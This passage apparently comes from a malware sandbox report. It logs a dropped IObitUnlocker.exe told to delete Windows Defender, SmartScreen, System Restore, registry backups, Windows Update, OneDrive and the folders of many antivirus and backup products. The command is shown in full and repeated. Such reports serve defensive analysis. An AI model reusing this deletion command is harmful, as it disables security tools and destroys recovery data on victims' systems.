64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetWindowsHookEx
        
        PID:1568
    - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:4892
    - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program 